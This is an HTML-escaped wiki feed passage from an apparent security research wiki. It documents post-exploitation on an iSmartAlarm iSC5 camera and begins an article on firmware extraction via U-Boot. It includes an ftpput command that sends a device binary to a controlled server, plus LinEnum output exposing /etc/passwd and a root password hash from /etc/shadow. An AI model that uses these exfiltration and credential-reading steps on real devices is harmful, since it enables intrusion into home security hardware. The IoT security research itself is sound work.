&amp;lt;h3&amp;gt;Extract Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Binaries and other files can be extracted using &amp;lt;code&amp;gt;ftpput&amp;lt;/code&amp;gt;. For this to work, one needs to control a reachable FTP server.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpput -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP /root/etc_default/iSC3S/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Usually the information gathering comes first, but I wanted to try the [https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh LinEnum.sh] script. With the previous setup, the script can easiliy be loaded via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;. Unfortunately the results did not revealed much new nor interesting.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;LinEnum.sh&amp;lt;/code&amp;gt; results&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#########################################################&lt;br /&gt;
# Local Linux Enumeration &amp;amp; Privilege Escalation Script #&lt;br /&gt;
#########################################################&lt;br /&gt;
# www.rebootuser.com&lt;br /&gt;
# version 0.982&lt;br /&gt;
&lt;br /&gt;
[-] Debug Info&lt;br /&gt;
[+] Thorough tests = Enabled&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SYSTEM ##############################################&lt;br /&gt;
[-] Kernel information:&lt;br /&gt;
Linux iSmartAlarm 2.6.35.12 #4 Tue Feb 14 21:56:47 PST 2017 armv5tejl GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Kernel information (continued):&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Hostname:&lt;br /&gt;
iSmartAlarm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### USER/GROUP ##########################################&lt;br /&gt;
[-] Current user/group info:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Group memberships:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
uid=1(daemon) gid=1(daemon) groups=1(daemon)&lt;br /&gt;
uid=2(bin) gid=2(bin) groups=2(bin)&lt;br /&gt;
uid=3(sys) gid=3(sys) groups=3(sys)&lt;br /&gt;
uid=4(sync) gid=100(users) groups=100(users)&lt;br /&gt;
uid=8(mail) gid=8 groups=8&lt;br /&gt;
uid=13(proxy) gid=13 groups=13&lt;br /&gt;
uid=33(www-data) gid=33 groups=33&lt;br /&gt;
uid=34(backup) gid=34 groups=34&lt;br /&gt;
uid=37(operator) gid=37 groups=37&lt;br /&gt;
uid=103(sshd) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=99(nobody) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=1000(default) gid=1000(default) groups=1000(default)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Contents of /etc/passwd:&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read the shadow file!&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read root&#039;s home directory!&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Home directory contents:&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
### ENVIRONMENTAL #######################################&lt;br /&gt;
[-] Environment information:&lt;br /&gt;
OPENSSL_armcap=5&lt;br /&gt;
USER=root&lt;br /&gt;
HOME=/root&lt;br /&gt;
OLDPWD=/root&lt;br /&gt;
LOGNAME=root&lt;br /&gt;
TERM=vt100&lt;br /&gt;
PATH=/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
SHELL=/bin/sh&lt;br /&gt;
PWD=/tmp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Path information:&lt;br /&gt;
/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
drwxr-xr-x    1 root     root          1412 Jan  1 00:00 /bin&lt;br /&gt;
drwxr-xr-x    1 root     root           736 Jan  1 00:00 /sbin&lt;br /&gt;
drwxrwxrwx    1 root     root          1332 Jan  1 00:00 /usr/bin&lt;br /&gt;
drwxrwxr-x    1 root     root           388 Jan  1 00:00 /usr/sbin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Current umask value:&lt;br /&gt;
u=rwx,g=rx,o=rx&lt;br /&gt;
0022&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### JOBS/TASKS ##########################################&lt;br /&gt;
### NETWORKING  ##########################################&lt;br /&gt;
[-] Network and IP info:&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 00:B0:27:08:90:14&lt;br /&gt;
          BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
          Interrupt:17&lt;br /&gt;
&lt;br /&gt;
gre0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1476  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1460  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
          LOOPBACK  MTU:16436  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
sit0      Link encap:IPv6-in-IPv4&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&lt;br /&gt;
          inet addr:192.168.43.193  Bcast:192.168.43.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::e276:d0ff:fe3c:4958/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:453 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:332 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:137425 (134.2 KiB)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Nameserver(s):&lt;br /&gt;
nameserver $NAMESERVER&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Default route:&lt;br /&gt;
default         $ROUTER    0.0.0.0         UG    0      0        0 wlan0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 :::23                   :::*                    LISTEN      788/telnetd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           663/iSC3S&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SERVICES #############################################&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
[-] Contents of /etc/inetd.conf:&lt;br /&gt;
swat stream tcp nowait.400 root /usr/local/samba/bin/swat swat&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] /etc/init.d/ binary permissions:&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:00 .&lt;br /&gt;
drwxr-xr-x   11 root     root             0 Jan  1 00:00 ..&lt;br /&gt;
-rwxr-xr-x    1 root     root           107 Jan  1 00:00 audmdprob.sh&lt;br /&gt;
-rwxr-xr-x    1 root     root           293 Jan  1 00:00 rc.local&lt;br /&gt;
-rwxr-xr-x    1 root     root          1383 Jan  1 00:00 rcS&lt;br /&gt;
-rwxr-xr-x    1 root     root          1426 Jan  1 00:00 rcS~&lt;br /&gt;
-rwxr-xr-x    1 root     root           115 Jan  1 00:00 videomdprob.sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SOFTWARE #############################################&lt;br /&gt;
### INTERESTING FILES ####################################&lt;br /&gt;
[-] Useful file locations:&lt;br /&gt;
/usr/bin/wget&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can we read/write sensitive files:&lt;br /&gt;
-rw-r--r--    1 root     root           489 Jan  1 00:00 /etc/passwd&lt;br /&gt;
-rw-rw-r--    1 root     root           163 Jan  1 00:00 /etc/group&lt;br /&gt;
-rw-rw-r--    1 root     root            24 Jan  1 00:00 /etc/profile&lt;br /&gt;
-rw-rw-r--    1 root     root           355 Jan  1 00:00 /etc/shadow&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems&lt;br /&gt;
# /etc/fstab: static file system information.&lt;br /&gt;
#&lt;br /&gt;
# file system | mount pt |      type |  options |         dump | pass&lt;br /&gt;
/dev/root       /               cramfs  noauto            0      1&lt;br /&gt;
proc            /proc           proc    defaults          0      0&lt;br /&gt;
sysfs           /sys            sysfs   defaults          0      0&lt;br /&gt;
tmpfs           /tmp            tmpfs   size=100%         0      0&lt;br /&gt;
lock            /var/lock       tmpfs   defaults          0      0&lt;br /&gt;
log             /var/log        tmpfs   defaults          0      0&lt;br /&gt;
run             /var/run        tmpfs   defaults          0      0&lt;br /&gt;
spool           /var/spool      tmpfs   defaults          0      0&lt;br /&gt;
tmp             /var/tmp        tmpfs   defaults          0      0&lt;br /&gt;
media           /media          tmpfs   defaults          0      0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.conf files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.php files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.log files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.ini files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Current user&#039;s history files:&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] Root&#039;s history files are accessible!&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SCAN COMPLETE ####################################&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: There is no official download available.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of the iSC5 camera can be replaced with third-party firmware such as [https://github.com/GrumpyMeow/XiaomiXiaofangFirmware XiaomiXiaofangFirmware].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
&lt;br /&gt;
hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
&lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
&lt;br /&gt;
/usr/bin/test_UP # ./test_UP&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Profile&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/info/AboutUs (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm iSC5: Spot - Smart Home Security Camera&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Product&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/spot (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Support&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/support-center (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Specification&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/specifications-spot/article-214316708.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Installation&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/support/cameras/specifications-and-manuals/quick-installation-guide-spot/article-234696467.html (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;FCCIO&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://fccid.io/SENISC5 (accessed 28 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;U-Boot&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Manual&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/DULG/Manual (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Memory Dump&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd (Accessed: 20. October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Vulnerability Reports&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;infosecurity-magazine&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.infosecurity-magazine.com/news/iot-smart-alarm-vulnerabilities/&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;BullGuard&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.bullguard.com/de/press/press-releases/2017/vom-hacker-zum-einbrecher-bullguard-und-dojo-ide.aspx&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Ilia Shnaidman&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://packetstormsecurity.com/files/143344/iSmartAlarm-Backend-Server-Side-Request-Forgery.html&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[[ISmartAlarm® ISC5 SPOT IP-Camera]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Firmware_Acquisition:_U-Boot&amp;diff=4732</id>
		<title>Firmware Acquisition: U-Boot</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Firmware_Acquisition:_U-Boot&amp;diff=4732"/>
		<updated>2020-11-08T16:20:22Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Fixed &amp;quot;Pages with syntax highlighting errors&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
This article briefly describes how the U-Boot bootloader can be used to extract the firmware from embedded devices. This method involves the use of the Universal Synchronous Asynchronous Receiver and Transmitter (USART) On-Chip Debug (OCD) Interface. This article is currently limited to &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; (memory dump) but will be extended soon. In the end, &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; is the method which is extremly slow but work in most scenarios.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
* Basic understanding of U-Boot and UART&lt;br /&gt;
* Taget Device using the U-Boot bootloader&lt;br /&gt;
* Serial UART line ready between Target and Analyst&lt;br /&gt;
* Access to the U-Boot command line interface &lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Procedure&amp;lt;/h2&amp;gt;&lt;br /&gt;
